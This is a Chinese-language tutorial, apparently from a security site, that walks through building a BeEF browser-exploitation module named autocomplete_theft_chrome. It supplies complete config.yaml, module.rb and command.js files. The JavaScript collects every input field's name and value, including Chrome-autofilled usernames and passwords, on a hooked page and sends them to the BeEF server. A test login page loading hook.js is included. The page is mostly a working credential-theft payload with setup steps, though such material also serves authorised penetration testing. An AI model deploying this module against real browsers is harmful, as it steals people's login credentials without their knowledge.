<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    BeEF 模塊創建

    模塊創建步驟

    介紹

    假設您是一個Ruby開發人員,熱愛BeEF,并且對模塊有很好的想法。現在怎么辦?

    該頁面旨在逐步指導您從頭到尾創建模塊。

    入門

    假設您要創建的模塊是從Chrome竊取自動完成值(尤其是用戶名和密碼)。

    我們將調用此模塊autocomplete_theft_chrome

    首先確定此模塊將要位于的類別。此模塊不需要太多的用戶交互(如果在已保存的登錄名中找到匹配項,則掛鉤頁面上的輸入字段將由Chrome瀏覽器自動完成),看起來該模塊適合該browser類別。

    方法1:將現有模塊復制為模板

    創建模塊示例,我們將從social_engineering/autocomplete_theft中復制“模板”,該模板僅適用于firefox。

    # in the beef repository folder
    cp -rv modules/social_engineering/autocomplete_theft modules/browser/autocomplete_theft_chrome

    您應該看到復制了3個文件(以及文件夾)。

    modules/social_engineering/autocomplete_theft -> modules/browser/autocomplete_theft_chrome
    modules/social_engineering/autocomplete_theft/module.rb -> modules/browser/autocomplete_theft_chrome/module.rb
    modules/social_engineering/autocomplete_theft/config.yaml -> modules/browser/autocomplete_theft_chrome/config.yaml
    modules/social_engineering/autocomplete_theft/command.js -> modules/browser/autocomplete_theft_chrome/command.js
    

    方法2:從頭開始

    如果您不想復制任何配置文件,則可以在以模塊命名的首選類別下創建一個文件夾。

    mkdir modules/browser/autocomplete_theft_chrome

    然后,在該目錄中創建3個文件:

    touch modules/browser/autocomplete_theft_chrome/config.yaml
    touch modules/browser/autocomplete_theft_chrome/module.rb
    touch modules/browser/autocomplete_theft_chrome/command.js

    注意

    確保config.yaml中的模塊名稱(例如autocomplete_theft_chrome)不會與其他模塊沖突。

    為此,請運行以下命令(將autocomplete_theft_chrome替換為新模塊的名稱)

    find . -name autocomplete_theft_chrome

    結果應該只有一個。如果有多個,請更改名稱。

    配置文件

    首先,我們修改配置文件以填寫有關該模塊的詳細信息。modules/browser/autocomplete_theft_chrome/config.yaml在您首選的文本編輯器中打開config.yaml文件。

    至此,配置文件與我們從其復制文件的secret_autocomplete模塊相同。

    beef:
        module:
            steal_autocomplete:
                enable: true
                category: "Social Engineering"
                name: "Steal Autocomplete"
                description: "This module steals autocomplete values from Firefox. The user must press the up or down arrow keys twice, followed by the left or right arrow key, in order to steal autocomplete information.<br/>Hint: Try convincing the user to enter the Konami code (Up, Up, Down, Down, Left, Right, Left, Right, B, A, Enter)."
                authors: ["Stefano Di Paola", "bcoles"]
                target:
                    working: ["FF"]
                    not_working: ["ALL"]

    文末附配置文件內容

    首先,我們在yaml文件的結構中更改模塊的名稱:

    beef:
        module:
            autocomplete_theft_chrome:
    

    然后,我們更改類別,名稱,描述和作者字段。該模塊已放在browser文件夾中,因此類別大寫Browser。填寫每個作者的Github句柄,保持原始語法(例如["Name One", "Name Two", "Name Three"],依此類推)

            category: "Browser"
            name: "Steal Autocomplete Chrome"
            description: "This module steals autocomplete values from Chrome. If a login is saved in Chrome for the hooked domain, it will be auto filled."
            authors: ["h4sh5"]
    

    最后,我們填寫了目標。有三個字段,你可以在(不必填寫所有的人)填寫,那就是workinguser_notifynot_working。在Web儀表板中,相應的掛鉤瀏覽器將顯示為綠色、橙色或紅色。

    如果您的模塊可以在一種瀏覽器上運行,請在working列表中簡稱瀏覽器。如果它可能有效但您不確定請將其放入user_notify列表中。如果絕對無法使用請放入not_working

    瀏覽器短手

    速記 瀏覽器
    C Chrome
    S Safari
    FF Firefox
    IE Internet Explorer
    O Opera
    ALL Everything

    在此模塊的情況下,它肯定會在Chrome上運行,但由于我們只是獲取所有輸入字段值,因此它也可能在其他瀏覽器上運行(與“獲取表單值”模塊非常相似,如果不相同)。因此,我們working支持Chrome以及user_notify其他所有功能。

                target:
                    working: ["C"]
                    user_notify: ["ALL"]
    

    現在,整個配置文件如下所示:

    beef:
        module:
            autocomplete_theft_chrome:
                enable: true
                category: "Browser"
                name: "Steal Autocomplete Chrome"
                description: "This module steals autocomplete values from Chrome. If a login is saved in Chrome for the hooked domain, it will be auto filled"
                authors: ["h4sh5"]
                target:
                    working: ["C"]
                    user_notify: ["ALL"]

    模塊選項和結果(module.rb)

    現在已經處理完配置文件,我們開始編輯該module.rb文件。此文件確定BeEF如何處理模塊的執行,包括三件事-選項,pre_send功能(在發送有效負載之前運行)和post_execute(在BeEF接收并從鉤住的瀏覽器應答后運行)

    modules/browser/autocomplete_theft_chrome/module.rb在首選的文本編輯器中打開文件。

    基本架構

    這是模板:

    class Your_module_name < BeEF::Core::Command
    
        # This method defines the options proposed to the user in the web interface
        def self.options
        end
    
        # This method will be called before sending the payload
        def pre_send
        end
    
        # This method will be called when BeEF receives an answer from the hooked browser
        def post_execute
        end
    end

    對于此模塊,我們實際上不需要任何選項,因為我們只是從所有輸入字段中獲取值。

    因此,我們首先修改文件的頂部以更改模塊的名稱:

    class Autocomplete_theft_chrome < BeEF::Core::Command

    此名稱必須是配置文件中名稱的大寫版本(autocomplete_theft_chrome-> Autocomplete_theft_chrome)

    我們刪除了options函數,因為我們不需要它。

    然后我們將post_execute保留原樣,因為我們確實想存儲結果。

    最終文件如下所示:

    class Autocomplete_theft_chrome < BeEF::Core::Command
    
            def post_execute
                    content = {}
                    content['results'] = @datastore['results']
                    save content
            end
    
    end

    content['results']表示從HTTP響應中的參數“結果”中檢索數據。因此,稍后當我們從中的瀏覽器發送數據時command.js,我們需要將結果用作參數名稱。

    在掛鉤的瀏覽器上執行的Javascript:command.js

    modules/browser/autocomplete_theft_chrome/command.js在首選的文本編輯器中打開文件。

    我們現在將研究在掛鉤的瀏覽器中需要執行的內容,以將需要的內容發送回BeEF。

    作為一個簡單的示例,這段Java代碼將所有輸入表單的名稱和值記錄到控制臺中:

    for (x of document.querySelectorAll("input")) { 
        console.log(x.name + ":" + x.value);
    }

    您可以在保存登錄信息的網站的Chrome開發者控制臺中對此進行測試。(使用F11打開開發者控制臺/右鍵單擊->檢查元素)

    現在,我們只需要將結果發送回BeEF。

    beef.execute(function() {}是執行模塊時將運行的功能。

    將數據發送回BeEF

    這就是我們將數據發送回beef的方式

    beef.net.send("<%= @command_url %>", <%= @command_id %>, "data");

    在這種情況下,我們要發送的數據是所有輸入名稱:值對。因此,不是使用console.log,而是將所有數據附加到一個大字符串中。

    data = '';
    for (x of document.querySelectorAll("input")) { 
        data += x.name + ":" + x.value + "|";
    }

    然后像這樣將其發送回beef:

    beef.net.send("<%= @command_url %>", <%= @command_id %>, "results="+data);

    回送的數據帶有前綴,results因為在接收端module.rb使用“結果”作為關鍵字存儲結果:

    content['results'] = @datastore['results']

    因此,參數名稱必須與中的參數名稱匹配command.js

    最終的command.js如下所示:

    beef.execute(function() {
    
        data = '';
        for (x of document.querySelectorAll("input")) { 
            data += x.name + ":" + x.value + "|";
        }
    
        beef.net.send("<%= @command_url %>", <%= @command_id %>, "results="+data);
    
    });

    確保保存所有已編輯的文件。

    測試模塊

    現在完成所有操作,用 ./beef

    打開beef控制面板,然后啟動瀏覽器。

    您可以通過簡單地啟動Chrome并打開來在本地掛鉤瀏覽器http://localhost:3000/demos/basic.html

    但是,為了測試該模塊,我們將使用帶有登錄字段的自定義網頁。

    login.html

    <script src="http://localhost:3000/hook.js" type="text/javascript"></script>
    <form action="login.html" method="post">
    
      <div class="container">
        <label for="uname"><b>Username</b></label>
        <input type="text" placeholder="Enter Username" name="uname" required>
    
        <label for="psw"><b>Password</b></label>
        <input type="password" placeholder="Enter Password" name="psw" required>
    
        <button type="submit">Login</button>
        <label>
          <input type="checkbox" checked="checked" name="remember"> Remember me
        </label>
      </div>
    
    </form>

    該HTML頁面包含一個登錄表單,并已鏈接到Beef瀏覽器。現在填寫用戶名和密碼,然后執行新模塊以查看返回的結果。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类